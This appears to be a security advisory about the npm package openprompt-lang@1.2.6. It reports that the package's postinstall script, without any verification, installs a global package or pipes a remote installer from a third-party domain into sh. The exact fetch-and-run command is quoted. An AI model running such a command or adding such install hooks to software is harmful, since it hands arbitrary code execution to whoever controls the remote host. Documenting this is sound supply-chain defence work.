openprompt-lang@1.2.6

scripts/postinstall.js runs unconditionally during `npm install`. When the `opencode` binary is not on PATH (true for nearly every fresh install), it executes `npm install -g @opencode/cli 2>/dev/null || curl -fsSL https://opencode.ai/install.sh 2>/dev/null | sh`. The curl-piped-to-sh fetches a mutable remote installer over the network and executes it with no hash or signature verification, no version pin, and from a third-party domain (opencode.ai) unrelated to the package publisher. The fallback also performs an unpinned global install of `@opencode/cli`, silently extending the installer's dependency surface beyond what is declared. The package's stated purpose is a CLI for AI-annotation/context engineering; auto-installing an unrelated third-party tool via `curl | sh` from a non-publisher domain at install time is outside that scope and gives whoever controls opencode.ai (now or in the future) arbitrary code execution on every machine that installs this package.